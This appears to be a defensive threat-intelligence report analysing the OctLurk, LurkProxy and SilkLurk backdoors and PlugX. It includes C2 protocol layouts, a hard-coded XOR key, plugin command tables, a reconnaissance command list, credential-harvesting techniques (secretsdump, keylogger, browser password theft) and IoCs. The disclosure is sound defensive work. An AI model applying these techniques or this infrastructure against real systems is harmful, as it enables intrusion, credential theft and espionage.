The backdoor DLL is reflectively injected into memory and its entry point is executed. The loader can then call the DLL’s exported methods either by name or by ordinal; both the method name and the ordinal number are hard‑coded in the loader and are decrypted using the same double‑XOR and zlib‑decompression process applied to the payload path and bytes.

OctLurk backdoor

The loader invokes the backdoor’s curl_easy_escape function (ordinal 2). The backdoor then creates a stream socket using a hard‑coded C2 address (dns[.]multitoconference[.]com) and port 443. It gathers the following information from the victim machine:

• OS information as RTL_OSVERSIONINFOW structure
• Computer name
• User name
• Local host name
• Local IP address in format %u.%u.%u.%u, with local hostname-to-IP-address translation
• Current local date and time as SYSTEMTIME struct

To encrypt the collected data, the backdoor employs a hard‑coded XOR key, which in most cases we observed was the string FDrertgr##@QEWASGkio865ehyf98foidsjzhug874392dfsREFDfdsAGH43wea98h. In addition, it generates 0x53 (83) random bytes — this length is also hard‑coded in the sample — and uses them as a second XOR key. The collected victim information is first compressed with zlib (deflate), and then XOR‑encrypted twice, first with the hard‑coded string key and then with the randomly generated byte sequence. The final data is arranged as follows:

• 0x00: randomly generated XOR key bytes (size 83 bytes)
• 0x53: compressed data size
• 0x57: compressed data in the following format: <uncompressed_size> <deflate(data)>
• 0x57 + compressed_data_size: randomly generated bytes (from 14 to 41 bytes)

The backdoor initially transmits a 16‑byte header that specifies the size of the incoming data packet, as shown below. It then sends the actual data packet.

• 0x00: randomly picked 10 chars from the string “zyxwvutsrqponmlkjihgfedcbaABCDEFGHIJKLMNOPQRSTUVWXYZ9876543210-_”
• 0x0A: \x00\x00
• 0x0C: next_packet_size

The first packet received is 16 bytes long, and its last four bytes specify the size of the subsequent data packet. The format of the subsequent data packet is shown below.

• 0x00: XOR key; size 83 bytes
• 0x53: compressed data size
• 0x57: compressed data in the format: <uncompressed_size> <deflate(data)>

The received data is decrypted using a double‑XOR method: first with the XOR key contained in the packet, then with a hard‑coded XOR key. After the XOR decryption, the data is zlib decompressed. The data may be a command or a plugin code.

OctLurk loads plugins from the C2 server directly into memory to perform various tasks. Each plugin exports two methods — ins_ctl_db and oct_lk_col — with the actual functionality implemented in oct_lk_col. Our analysis shows that the plugins listed below are commonly deployed on victim machines.

• Command Shell: provides a command shell
• File Manager: performs filesystem interaction
• Interaction Manager: synthesizes keyboard and mouse events

The table below provides a detailed description of operations performed by these plugins, where each switch case value denotes command ID.

Plugin type Description File Manager ●       case 0x10020: for each drive, retrieve the following information: volume GUID path, drive letter, volume name, file system name, drive type, volume serial number, total size in bytes, and free space in bytes.
●       case 0x10030: search for a file that matches a specified name and retrieve the following information: file attributes, creation time, last access time, last write time, file size, the file’s name, and its short (8.3) name.
●       case 0x10040: recursively list all files in a specified location, including only those whose size, creation time, last write time, and last access time fall within the threshold values defined by C2. For each listed file, retrieve the following details: file attributes, creation time, last access time, last write time, file size, file name and alternative name for the file
●       case 0x10050: use the ShellExecuteExW API to open the specified file path, which may be an executable, a document, or a folder.
●       case 0x10051: execute the specified command line using the CreateProcessAsUserW API.
●       case 0x10060: perform the following file‑system operations: copy, delete, move, and rename — using the SHFileOperationW API.
●       case 0x10070: create a directory.
●       case 0x10080: set the attributes for a file or directory.
●       case 0x10090: for the filename provided by C2, set the file created, last accessed, and last modified timestamps to the values received from C2.
●       case 0x20010: get the size of a file.
●       case 0x20020: read a file from the system in chunks, starting at a specified offset.
●       case 0x20030: calculate the CRC32 of each file data chunk, and retrieve the file created, last accessed, and last written times.
●       case 0x20040: close the file handle and free the associated metadata (file path, handle, and size).
●       case 0x20110: create a file at the specified path and write the bytes received from C2 into it. Then set the file created, last accessed, and last modified times using the timestamps supplied by C2. Command Shell ●       case 0x3E9: launch cmd.exe as shell.
●       case 0x3EA: send the exit command to close the command shell.
●       case Default: if a command string is received from the C2 and the shell is running, write the command to the shell. Then read the shell’s output and send it back to the C2.
If a command string is received from the C2 server and the shell is not already running, execute the command using C:\Windows\System32\cmd.exe /S /C "<command_string>" > %TEMP%\tmp%d%x.tmp where %d and %x are random values. Afterwards, read the output from the temporary file tmp%d%x.tmp and then delete the file. Interaction Manager ●       case 0x3E9: capture the entire screen as a BMP image.
●       case 0x3EA: capture the entire screen at specified intervals.
●       case 0x3EC: retrieve clipboard data.
●       case 0x3ED: copy the data to the clipboard.
●       case 0x3F3: MOUSEEVENTF_LEFTDOWN: set the cursor to the specified position and press the left mouse button.
●       case 0x3F5: MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP: move the cursor to the specified position, then press and release the left mouse button.
●       case 0x3F6: MOUSEEVENTF_RIGHTDOWN: set the cursor to the specified position and press the right mouse button.
●       case 0x3F7: MOUSEEVENTF_RIGHTUP: set the specified cursor position and release the right mouse button.
●       case 0x3F8: MOUSEEVENTF_MOVE: move the mouse cursor to specific coordinates, simulating a mouse movement event.
●       case 0x3F9: MOUSEEVENTF_WHEEL: move the mouse wheel by a specified amount.
●       case 0x3FD: press the key indicated by the virtual‑key code.
●       case 0x3FE: KEYEVENTF_KEYUP: release the key identified by the virtual-key code.
●       case DEFAULT: MOUSEEVENTF_LEFTUP: move the cursor to the specified position and release the left mouse button. Post-compromise activity

The attacker used the command‑shell plugin installed via the OctLurk backdoor to perform the following actions:

Victim fingerprinting

The attacker used admin credentials to create a scheduled task named GoogleUpDate on remote machines. This task runs once with System account privileges, executing the script located at C:\windows\temp\in.bat (MD5 45cf5916fab4272a1313c26e67aa9220, 4e6d5c4770d5a822d7fcce6a74f7ad73). After querying the task’s status, the attacker triggers its execution, as shown below.

The batch script runs a series of commands that collect comprehensive information about the machine’s hardware, software, and network configuration as shown in the table below. The results are saved in three files — info.txt, <hostname>.datb, and <hostname>_logs.datb — all stored in the %TEMP% directory.

Command Description chcp 1256 Changes the system’s code page to 1256, which supports Arabic characters. powershell $PSVersionTable Retrieves the version information of PowerShell. qwinsta Views all active sessions on the local machine. klist sessions Displays a list of logon sessions on this computer (Including Kerberos). TASKLIST /V Lists all running tasks with detailed information. findstr /i /c:”explorer.exe” Searches for explorer.exe in a case-insensitive manner. Used together with TASKLIST /V. wevtutil qe Security /f:text /c:5 /rd:true /q:”*[System[(EventID=4624)]] and *[EventData[Data[@Name=’LogonType’]=10]]” Retrieves the last 5 events from the Security event log where the event ID is 4624 (successful logon event) and the logon type is 10 (remote interactive logon e.g., Remote Desktop Protocol). powershell “ipconfig|select-string v4 -context 1,3” Uses PowerShell to filter ipconfig output for IPv4 addresses. ipconfig /all Displays detailed network configuration information. WHOAMI /all Displays detailed information about the current user, including their security identifiers (SIDs), privileges, group memberships, and authentication details. WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | findstr “=” Retrieves information about installed antivirus software. powershell Get-NetTCPConnection Retrieves information about TCP connections. netstat -ano | findstr LISTENING Shows listening ports. netstat -ano | findstr ESTABLISHED Displays established connections. cmd.exe /c netstat -ano | findstr “EST” | findstr -v 127.0.0.1 Filters established connections excluding the loopback address. powershell.exe “get-wmiobject -query ‘select * from win32_process’ | Select-Object ProcessId,ProcessName,CommandLine,ExecutablePath,CreationDate | Where-object {$_.ProcessId -eq 500} | Format-List” Retrieves detailed information about a specific process. reg query HKLM /s /f “ProfileImagePath” /t REG_EXPAND_SZ Searches the Windows Registry under HKEY_LOCAL_MACHINE (HKLM) for entries where the value name is “ProfileImagePath” and the type is REG_EXPAND_SZ. It points to the location of a user’s profile folder. cmd.exe /c dir /b c:\users Lists the contents of the C:\Users directory. wmic startup get caption,command | findstr exe Filters startup items for executable files. powershell “get-MpComputerStatus” Retrieves the status and configuration details of Microsoft Defender Antivirus (formerly Windows Defender) on a Windows system. reg query “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features” /v “TamperProtection” Queries whether Microsoft Defender antivirus’s tamper protection is enabled. reg query “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions” /s Queries exclusion settings for Microsoft Defender Antivirus. This is where you can configure files, folders, processes, and extensions that should be excluded from being scanned by Defender. wevtutil gli Security Configures the Security event log. wevtutil gl Security /f:xml Retrieves events from the Security log in XML format. wevtutil gli “Windows PowerShell” Configures the Windows PowerShell event log. wevtutil gl “Windows PowerShell” /f:xml Retrieves events from the Windows PowerShell log in XML format. wevtutil gli System Configures the System event log. wevtutil gl System /f:xml Retrieves events from the System log in XML format. schtasks /query /fo LIST /v | findstr “TaskName> Status> ‘Task To Run’> ‘Run As User’>” Lists all scheduled tasks in verbose mode and extracts the following fields: Status, Task To Run, Run As User, and TaskName. systeminfo Displays detailed system information. powershell “Get-WmiObject -Class Win32_BIOS | Format-list” Retrieves BIOS information. powershell “Get-WMIObject -Class Win32_PhysicalMemory | Format-list” Retrieves physical memory information. powershell “Get-WMIObject -Class Win32_Processor | Format-list” Retrieves processor information. powershell “Get-WMIObject -Class Win32_DiskDrive | Format-list” Retrieves disk drive information. netsh interface ipv4 show interfaces Displays information about IPv4 interfaces. powershell “gwmi Win32_NetworkAdapter | Format-list” Provides hardware-level and driver-level information about adapters. powershell “gwmi Win32_NetworkAdapterConfiguration | Format-list” Provides network configuration details, such as IP address, DNS, DHCP status, etc. ipconfig /all Displays detailed network configuration. netstat -e -s Displays detailed network protocol statistics. certutil -urlcache Displays URL cache entries. ipconfig /displaydns Displays the contents of the DNS client resolver cache. Event log collection

The attackers ran commands to export successful logon events for remote interactive logons (e.g., Remote Desktop Protocol) and to query those events for specific users.

Credential harvesting Impacket — secretsdump

Attackers ran a malicious file named Adobe.exe (MD5 32a5985543433a4f60da2fafd873b927), which is a portable‑executable version of Impacket’s secretsdump.py tool. Using this tool, they extracted password hashes from domain controllers, the critical servers in an Active Directory environment. Immediately after harvesting the hashes, they issued commands to list all members of the “Domain Controllers” group, likely to identify and target additional domain controllers for further compromise.

Keylogger

Attackers dropped and executed a keylogger located at C:\Users\Public\Pictures\AnyDesk.exe (MD5: 2a571f6cee42a17d873f4c942649813f). They then created a scheduled task named AnyDesk to run the keylogger whenever any user logged on as shown below.

The keylogger creates two files: C:\Users\Public\Libraries\msect\dev0, which stores captured keystrokes, and C:\Users\Public\Libraries\msect\dev1, which holds clipboard data. Before writing to these files, the captured data is encoded by subtracting 2 from each byte.

Browser Password Decryptor

The Browser Password Decryptor tool C:\users\[username]\libraries\64.exe (MD5 37dc84e4bcad92fa28f1e7778d088283) is used to extract passwords from browsers. The tool offers two options: -help to extract passwords from Chrome and -exit to extract passwords from Firefox. For Chrome, the tool targets the Login Data and Local State databases located at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data and %LOCALAPPDATA%\Google\Chrome\User Data\Local State, respectively. The Local State contains the master key, which is essential for decrypting encrypted login information stored in the Login Data database file. For Firefox, the tool targets the logins.json file located at %APPDATA%\Mozilla\Firefox\Profiles\{profile folder}. The logins.json file in Firefox stores encrypted usernames and passwords for websites.

Remote access : Pandora FMS agents (Pandora RC agent)

Pandora RC agent provides remote control of a victim’s computer, allowing attackers to monitor and manipulate the system. Using administrative credentials, the attacker creates a scheduled task named GoogleUpDate on the compromised machines. This task runs once with System account privileges and executes the script 1.bat, which can be found at either C:\Users\[username]\1.bat or C:\ProgramData\1.bat (MD5 5e26df131ff0a679a0a2699b723b46e3). The task’s status is first queried, then it is executed, as shown below.

The batch script 1.bat executes a command that downloads and installs the Pandora RC agent using the arguments shown below.

• EHUSER: a Pandora RC user
• STARTEHORUSSERVICE: start the agent after the installation finishes (default = 1)
• EHORUSINSTALLFOLDER: specify the folder where you want to install the agent (default: %ProgramFiles%\_agent)
• DESKTOPSHORTCUT: 0: do not create a desktop shortcut

Network scan: FSCAN

Fscan is a comprehensive internal‑network scanning tool that offers a range of functions, including network discovery, vulnerability assessment, reverse‑shell creation, and brute forcing of common services. The executable is dropped to %TEMP%\fc.exe (MD5: cf903e4a1629aa0582fd0363b5786676) and writes its output to %TEMP%\result.txt. Using Fscan, both internal and public networks were scanned to identify services running on specific ports, such as Secure Shell (SSH) on port 22 and MySQL on port 3306. The tool also attempted to access these services using credentials from the password file pp.txt.

Email harvesting

The attackers used the curl command to connect to an email server, authenticate with a username and password, and issue a command to select the Inbox folder. Typically, the goal is to:

• Verify that a connection to the email server is working
• Authenticate the user
• Prepare the Inbox folder for reading or manipulating messages (e.g., listing, fetching, or deleting emails)

LurkProxy

In a similar manner to the OctLurk backdoor, the attacker also deployed another implant we named LurkProxy, which uses a heavily obfuscated version of the OctLurk loader. While LurkProxy has a nearly identical architecture to the OctLurk backdoor, its primary role is to proxy network traffic. Like the OctLurk, it exports a function named curl_escape_easy, which the loader invokes. Once executed, LurkProxy listens on all interfaces on hard‑coded port 64980 and establishes a TLS‑encrypted connection to the C2 server (154[.]196[.]162[.]76). The C2 communication uses a proprietary binary protocol, where each packet is compressed with zlib, encrypted with a double‑XOR scheme, and follows the structure outlined below.

Offset Data Type 0x00 (00) Unused – 0x08 (08) Packet control flags. Bit 0 indicates high priority packet, bit 1 indicates single packet bit array 0x0C (12) Command number int 0x10 (16) Handler number (unique identifier for each proxy client in the first mode) int 0x14 (20) Command integer argument int 0x18 (24) Unused – 0x1C (28) Data 1 payload size int 0x20 (32) Data 2 payload size int 0x24 (36) Data 1 byte stream bytes 0x24 (36) + N Data 2 byte stream bytes

LurkProxy can function as a reverse proxy in two distinct modes as described below. The mode is selected by a static flag, meaning the proxy can operate in only one mode at a time. In the implant we examined, the first (SOCKS5) mode was used.

Mode 1: SOCKS5 proxy

When a client connects, LurkProxy sends to the C2 the command 0x1000010, indicating that the connection has been established and includes the target address in the packet data. The C2 server then opens a connection to that address, enabling bidirectional communication through the appropriate commands.

Mode 2: transparent proxy

In this mode, the target address and port are hard‑coded. Upon startup, LurkProxy immediately connects to the predefined target via the C2 channel using the same command. All subsequent client connections are routed through this single, fixed target. This mode handles raw network traffic directly, bypassing the SOCKS5 layer.

Command ID Direction Description Arguments 0x1000010 Implant -> C2 When a new proxy client connects, it creates a proxy session and notifies C2 of the successful configuration Target port in command integer argument
UTF-16 encoded connection hostname in data 1 0x1000010 C2 -> Implant Used to control the session, allowing it to pause or stop proxying Action in command integer argument (1 to pause, or any other value to terminate) 0x1000030 Implant -> C2 Sent when the LurkProxy is shut down – 0x1000050 Implant -> C2 Forwards the received bytes from the client to C2 Raw TCP bytes in data 1 0x1000050 C2 -> Implant Forwards the received bytes from the proxy target to the client Raw TCP bytes in data 1 SilkLurk Deployment

The attacker created a service that executes legitimate binaries, such as NetSetSvc.exe (NVIDIA debug dump), nvgwls.exe (NVIDIA background tool responsible for autotuning), RtkSmbus.exe (Realtek Semiconductor’s noise‑cancelling program), and RtkNGUI64.exe (Realtek High‑Definition Audio Manager), to side‑load malicious loader DLLs: nvml.dll, vulkan-1.dll, RtkSmbusLoc.dll, and RtkNGUI64Loc.dll, respectively. These DLLs act as a loader that will inject SilkLurk backdoor into the process memory.

SilkLurk loader

SilkLurk loader working logic

The loader first verifies that it is running within the legitimate executable that loads it. Next, it moves the payload file (in the analyzed sample, it was named OneDrive.dat) from its module location (C:\ProgramData\Microsoft\Network\Connections in the analyzed sample) to the hard‑coded payload path (C:\ProgramData\Microsoft OneDrive\setup in the analyzed sample). Note that the hard-coded payload path may vary depending on the loader.

Next, the loader creates a service named RmSs to maintain persistence. The service will run the legitimate module binary (C:\ProgramData\Microsoft\Network\Connections\nvgwls.exe) that loads the malicious loader (vulkan-1.dll). The service is configured with the parameters mentioned below. Additionally, the service configuration is modified to restart the service in the event of a failure. Finally, the loader starts the service.

• Service Type: SERVICE_WIN32_OWN_PROCESS
• Start Type: SERVICE_AUTO_START
• Error Control: SERVICE_ERROR_NORMAL

On service start, loader calls StartServiceCtrlDispatcher, which will invoke ServiceProc. The ServiceProc then calls the routine s_1800078F0_decrypt_and_run_payload. This routine computes a 32-bit hash (dword) of the victim’s computer name. The dword hash is used by a custom algorithm made up of arithmetic and logical operations to decrypt the hardcoded payload file path. The payload bytes themselves are decrypted with the same algorithm that decoded the file path. By using the victim’s computer name in the decryption of both the file path and the payload bytes, the loader becomes specific to each victim. The decrypted bytes contain shellcode with the following structure:

Shellcode offset Description 0x000 (0) Stub code, which performs reflective code injection 0x770 (1904) Hardcoded value 0x11113F68, XORed with the computer name hash 0x774 (1908) Hardcoded byte 0xD9, used as XOR key to decrypt import DLL names and APIs 0x775 (1909) Size of the encrypted backdoor 0x779 (1913) Encrypted backdoor data blob

The stub code decrypts and injects the backdoor blob into memory. To decrypt the blob, it first computes a dword hash of the computer’s name. This hash is then fed into a custom algorithm — a series of arithmetic and logical operations — that performs the decryption. This algorithm differs from the one used to decrypt the payload file.

The IMAGE_DOS_HEADER of the backdoor binary is zeroed out. Information in the IMAGE_NT_HEADERS, such as ImageSize and NumberOfSections, is XOR-decrypted using the hash of the computer name. The first three sections are decrypted again using a custom algorithm (a series of arithmetic and logical operations) before being injected into memory.

During import resolution, DLL names and API names are XOR‑decrypted using a hard‑coded single‑byte key. After the import DLL is loaded and the API addresses are resolved, the DLL and API name strings are zeroed out.

During relocation, the size of each relocation block, the value of each relocation entry, and the bytes to be relocated are XOR‑decrypted using the dword hash of the computer name. Afterward, the entry point is also XOR‑decrypted with the same hash and then invoked.

SilkLurk backdoor

The backdoor contains a hardcoded configuration of 0x4AC (1196) bytes, with the first 0x10 (16) bytes holding a mutex string and the remaining 0x49C (1180) bytes comprising encrypted configuration data; this configuration is written to a hardcoded filename (e.g., 2470b666bece868f, 27879a4df1a740ff) that differs across samples and is placed in the %APPDATA% directory. The configuration is decrypted using a custom algorithm involving a series of arithmetic and logical operations that is distinct from the algorithm used to decrypt the encrypted backdoor blob and payload file. The configuration has the following structure:

Offset Description 0x00 (000) C2 Host 1 0x64 (100) C2 Host 2 0xC8 (200) C2 Host 3 0x12C (300) C2 Host 4 0x190 (400) Port for C2 Host 1 0x192 (402) Port for C2 Host 2 0x194 (404) Port for C2 Host 3 0x196 (406) Port for C2 Host 4 0x198 (408) Unknown 21 bytes 0x1AD (429) Proxy address 1 0x22A (554) Proxy username 1 0x2A7 (679) Proxy password 1 0x324 (804) Proxy address 2 0x3A1 (929) Proxy username 2 0x41E (1054) Proxy password 2

The backdoor creates a TCP socket and connects to the C2 server defined in the configuration. If proxy details are provided, it attempts to establish the C2 connection through the proxy. The proxy request uses the following format:

CONNECT %s:%d HTTP/1.1 Proxy-Connection: Keep-Alive Host: %s:%d Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36

After successfully connecting to the C2 server, it generates a random 32‑byte (0x20) network key that will be used to encrypt and decrypt network packets. This key is appended to the magic dword, as shown in the table below, creating a 40‑byte block that is then encrypted with a custom algorithm: a series of arithmetic and logical operations that differs from the one used to decrypt the configuration.

Field offset Field size (in bytes) Field value 0x00 (00) 0x04 (04) 0x0C7FFBE86h (magic dword) 0x04 (04) 0x04 (04) 0 0x08 (08) 0x20 (32) Network key (will be used to encrypt and decrypt network traffic)

It then prepares a packet to send the key to the command‑and-control server, as shown in the table below. The packet contains a 0xC (12‑byte) header, a 0x28 (40‑byte) block of encrypted network‑key data (see the table above), and a randomly generated payload whose size ranges from 0x14 (20) to 0xB4 (180) bytes.

Field offset Field size (in bytes) Field value 0x00 (00) 0x08 (08) data_size (encrypted_key_data + random_bytes_size) 0x08 (08) 0x04 (04) data_size XORed with 0x39 0x0C (12) 0x28 (40) Encrypted network key data (as mentioned in above table) 0x34 (52) size between 0x14 (20) and 0xB4 (180) Random data bytes

After sending the key, the backdoor collects the following victim information: local computer name, DNS domain assigned to the local computer, user’s logon name, processor architecture, OS major version and build number, host IP address, current process ID, tick count value, and backdoor module name. The collected victim information is first compressed and then encrypted using the network key. The custom algorithm (a series of arithmetic and logical operations) used to encrypt collected victim information is different from the algorithms used to decrypt the configuration and encrypt the network key. Before sending the victim information, a 0x0F (15) byte header is generated and encrypted using the same custom algorithm used to encrypt the collected victim data. The header follows the format as shown in the table below.

Field offset Field size (in bytes) Field value 0x00 (00) 0x04 (04) 0xC7FFBE86 (magic dword) 0x04(04) 0x04 (04) Message type (1 means victim information) 0x08 (08) 0x04 (04) Data size (size of encrypted victim information) 0x0C (12) 0x01 (01) Compression flag (1 means compressed) 0x0D (13) 0x02 (02) Size of random bytes, between 0x14 and 0x96 bytes

Finally, the encrypted header and victim information are formatted as shown below and transmitted to the C2 server.

<random_dword><encrypted header><encrypted victim information><random bytes>

Once the backdoor has transmitted the victim information, it waits for a 0x13‑byte (19‑byte) response from the C2 server. This response follows the structure presented in the table below.

Field offset Field size (in bytes) Field value 0x00 (00) 0x04 (04) Random dword 0x04 (04) 0x0F (15) Encrypted header data

The encrypted header contained in the response is decrypted with the network key that was generated and shared with the C2 server. After decryption, the header retains the same size and structure as the one used in the victim information message.

The message type field in the header (offset 0x04) determines which operation (command) to perform. Next, the backdoor figures out the size of the command data to receive by adding up the size of the encrypted data (found at position 0x08 in the received header) and the size of the random bytes (found at position 0x0D in the received header). The received command data is first decompressed, based on the compression flag located at position 0x0D in the received header, and then decrypted using the custom algorithm that was used to encrypt the sent data. The backdoor supports the following commands:

Command (message type) Description 03 Based on subcommand, perform the following operations:
00: Get target system’s local time
01: Set sleep time in milliseconds, after which to reconnect to the C2 server 04 Send current backdoor configuration 05 Update backdoor configuration 06 Receive and inject additional payloads (plugins) into memory. Based the on subcommand, perform the following operations:
01: Inject payload (plugin) bytes into memory and execute payload’s entry point
03: Call export method of injected plugin Post-compromise activity

The threat actor operating the SilkLurk backdoor first used it to invoke cmd.exe to launch PowerShell. Within PowerShell, they ran commands such as net use to connect to shared network resources with administrative credentials. After establishing the connection, they searched the shared drives for confidential documents to exfiltrate. Once the search was complete, they disconnected from the network share to erase evidence of which internal servers had been accessed. To archive the stolen data, they employed legitimate archiving tools: WinRAR and 7‑Zip.

Below are the paths and names of the WinRAR and 7Zip binaries used by the attackers.

WinRAR 18dc8bff47cc282508354771d0c8cf8c C:\Users\[username]\Libraries\RecordedTV.exe
C:\Users\[username]\Libraries\recordutil.exe 7Zip 9a1dd1d96481d61934dcc2d568971d06 C:\windows\vss\7z.exe Second-stage payload PlugX

The SilkLurk backdoor opened a command shell (cmd.exe). Using this shell, the attacker executed the file C:\ProgramData\microsoft\html help\kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c). The kmsonline.exe binary acted as a dropper for the PlugX malware, deploying the malicious files listed below.

C:\ProgramData\Symantec\RasTls.exe - Legitimate Binary (MD5 62944e26b36b1dcace429ae26ba66164) C:\ProgramData\Symantec\RasTls.dll - PlugX Loader Dll (MD5 ef59aad625eebda8650aec5820d6ce69) C:\ProgramData\Symantec\RasTls.dll.res - PlugX Payload file

Our Kaspersky Threat Attribution Engine (KTAE) also identified a strong degree of similarity between kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c) and PlugX.

PlugX was configured to communicate with the C2 domain gycudore[.]kozow[.]com and the IP address 64[.]7[.]198[.]130. Below are the extracted configuration fields from PlugX.

Config field name Value Injection Target Process %SystemRoot%\system32\svchost.exe Home Directory %ALLUSERSPROFILE%\Symantec Persistence Name SymantecRAS Service Display Name SymantecRAS Service Description Symantec RAS Services Campaign ID KG_MFA Infrastructure

The threat infrastructure relies on VPS servers. Some OctLurk and LurkProxy C2 addresses are referenced in a public report by Kazakhstan’s State Technical Service (STS) company. According to available data, a campaign targeting critical infrastructure in Kazakhstan was discovered in March 2025. During this campaign, attackers employed the TrustFall (STS internal designation) remote access malware, also known as MystRodX (Qianxin) and SilentRaid (Cisco) and designed for Linux-based operating systems. Subsequently, in October 2025, STS researchers found additional TrustFall samples, while also discovering its new C2 servers via active probing. Notably, three observed TrustFall C2 addresses were also leveraged by OctLurk and LurkProxy. This overlap points to shared infrastructure across multiple OS-targeting campaigns, though it remains unclear whether these activities ran concurrently or at different times.

Attribution

We identified multiple artifacts confirming that OctLurk and SilkLurk are operated by the same threat actor. Several users infected with OctLurk were also found to be infected with SilkLurk, and in some cases both malware families used the same staging directory. Below are examples of these artifacts.

1. In one incident, the attackers created the service C:\Windows\system32\svchost.exe -k ExAstSrc -s ExAstSrc to deploy OctLurk. They used OctLurk to obtain a command shell and were observed dropping the SilkLurk loader vulkan-1.dll (MD5 be4731c09734da2e8eb6814a9c82f266) via this shell, as shown below.
   
2. In another incident, we observed attackers using the same directory C:\ProgramData\intel\ to drop both the OctLurk and SilkLurk loader DLLs.

OctLurk C:\ProgramData\intel\mscastrac.dll (MD5 7c2f64461bb519c6cbf1fc687675514c)
C:\ProgramData\intel\msbasesysdc.dll (MD5 f4578e869a735cfad691f927bae3e638) SilkLurk C:\ProgramData\intel\vulkan-1.dll (MD5 2f18472866f38c1e1c2c5c14b9a6ab56)

In one incident, the attacker used SilkLurk to obtain a command shell (cmd.exe) and then deployed and executed the PlugX malware. The PlugX sample was configured to contact gycudore[.]kozow[.]com as its command‑and‑control (C2) server, while the SilkLurk backdoor used ctyuhjerf[.]kozow[.]com for C2. PlugX is a well‑known modular remote‑access Trojan (RAT) that has been active since at least 2008 and historically linked to Chinese-speaking threat actors. This suggests that both OctLurk and SilkLurk were also developed and operated by a Chinese‑speaking actor, although at this time, we cannot attribute this activity to a known threat group.

Conclusions

The emergence of the OctLurk and SilkLurk multi‑plugin malware framework highlights how threat actors continuously refine their tactics to evade detection and maintain control over compromised networks. Both families operate primarily in memory, leaving only a minimalistic loader on disk that relies on machine‑specific data (OctLurk uses the drive serial number, and SilkLurk uses the computer name) to decode payload locations and contents. This victim‑specific encoding makes reverse engineering and automated detection considerably harder.

In addition to sophisticated obfuscation, the attackers establish redundant access channels, harvest credentials, and deploy well‑known remote access and monitoring tools. These secondary pathways ensure persistence even if the original infection vector is discovered or neutralized.

Indicators of Compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at [email protected].

Backdoor domains and IPs OctLurk C2

dns[.]multitoconference[.]com
tj[.]tajikistandip[.]com
fm01[.]clouddevicemetrics[.]com
confbase[.]mdpsupport[.]net
digital[.]leroymerling[.]com
api2[.]annoyingremote[.]com
about[.]blsouqs[.]com
ssl[.]blsouqs[.]com
45[.]138[.]157[.]165

LurkProxy C2

dns[.]ssentialserv[.]xyz
154[.]196[.]162[.]76

SilkLurk C2

tyhbgtyuj[.]gleeze[.]com
95[.]179[.]210[.]138
wedfcvbn[.]gleeze[.]com
45[.]77[.]136[.]228
rgnojb[.]casacam[.]net
95[.]179[.]141[.]26
ctyuhjerf[.]kozow[.]com
45[.]32[.]152[.]50
212[.]11[.]39[.]138
195[.]86[.]120[.]2
uyhvfredc[.]accesscam[.]org
154[.]196[.]187[.]73
45[.]61[.]149[.]112
wedfcvbn[.]gleeze[.]com
45[.]77[.]136[.]228
gycudore[.]kozow[.]com
64[.]7[.]198[.]130

Loaders OctLurk loader

082d49ef9f14e6811d68c7e0e82e5069 oleasapi.dll
f4578e869a735cfad691f927bae3e638 msbasesysdc.dll
7c2f64461bb519c6cbf1fc687675514c mscastrac.dll

SilkLurk loader

8269d6ba1b6842f9152c90cf7add9b93 vulkan-1.dll

PlugX dropper

3c9a1ba8e0c7475706adc6376e9d7b7c kmsonline.exe

PlugX loader

ef59aad625eebda8650aec5820d6ce69 RasTls.dll

OctLurk backdoor

a0cc7accc79abb0287aaba825d0351f0

OctLurk File Manager plugin

a56cce62930a6bee80d679b4c495a340

OctLurk Command Shell plugin

1415a78b75de7db4ba3d1e61d7db4501

OctLurk Interaction Manager plugin

a4d550a3ba0cd073fe3839b99d98a7a8

Impacket’s secretsdump (not available)

32a5985543433a4f60da2fafd873b927 Adobe.exe

Keylogger

2a571f6cee42a17d873f4c942649813f AnyDesk.exe

Browser password stealer

37dc84e4bcad92fa28f1e7778d088283 x64.exe

FSCAN

cf903e4a1629aa0582fd0363b5786676 fc.exe

Batch scripts (not available)

6ecf84fb18f6747ed08d7598364d853a 1.bat
b874123a80fc4f40e06872b9cb54ebc6 auto.bat
45cf5916fab4272a1313c26e67aa9220 in.bat
4e6d5c4770d5a822d7fcce6a74f7ad73 in.bat
5e26df131ff0a679a0a2699b723b46e3 1.bat

Archive utilities WinRAR

18dc8bff47cc282508354771d0c8cf8c RecordedTV.exe, recordutil.exe

7zip

9a1dd1d96481d61934dcc2d568971d06 7z.exe

File paths OctLurk file paths

C:\Users\[username]\Videos\1.bat
C:\Windows\System32\oleasapi.dll
C:\Windows\Media\Welcome01.wav
C:\windows\temp\in.bat
C:\Users\[username]\1.bat
C:\ProgramData\1.bat
C:\Windows\System32\msbasesysdc.dll
C:\Windows\System32\Waavsstrace.dll
C:\Windows\System32\SystemSettings.Publishing.dll
C:\Windows\System32\msdctries.dll
C:\Users\Public\Pictures\AnyDesk.exe
C:\Users\Public\Libraries\msect\dev0
C:\Users\Public\Libraries\msect\dev1
C:\users\[username]\libraries\64.exe
C:\ProgramData\Ehorus\
%TEMP%\fc.exe

SilkLurk file paths

C:\programdata\microsoft\network\connections\nvgwls.exe
C:\ProgramData\Veeam\EndpointData\nvgwls.exe
c:\ProgramData\microsoft\network\connections\vulkan-1.dll
C:\ProgramData\microsoft\network\downloader\vulkan-1.dll
C:\ProgramData\intel\vulkan-1.dll
C:\Users\Public\Music\vulkan-1.dll
C:\ProgramData\HP\NCCOM\vulkan-1.dll
C:\ProgramData\intel\gcc\vulkan-1.dll
C:\Windows\System32\0409\vulkan-1.dll
C:\ProgramData\veeam\endpointdata\vulkan-1.dll
C:\ProgramData\plug\vulkan-1.dll
C:\Program Files\nvidia corporation\display.nvcontainer\plugins\vulkan-1.dll
C:\ProgramData\microsoft onedrive\setup\vulkan-1.dll
C:\vmware\vmware tools\vmware vgauth\schemas\vulkan-1.dll
C:\ProgramData\nvidia\ngx\vulkan-1.dll
C:\ProgramData\microsoft\microsoft\vulkan-1.dll
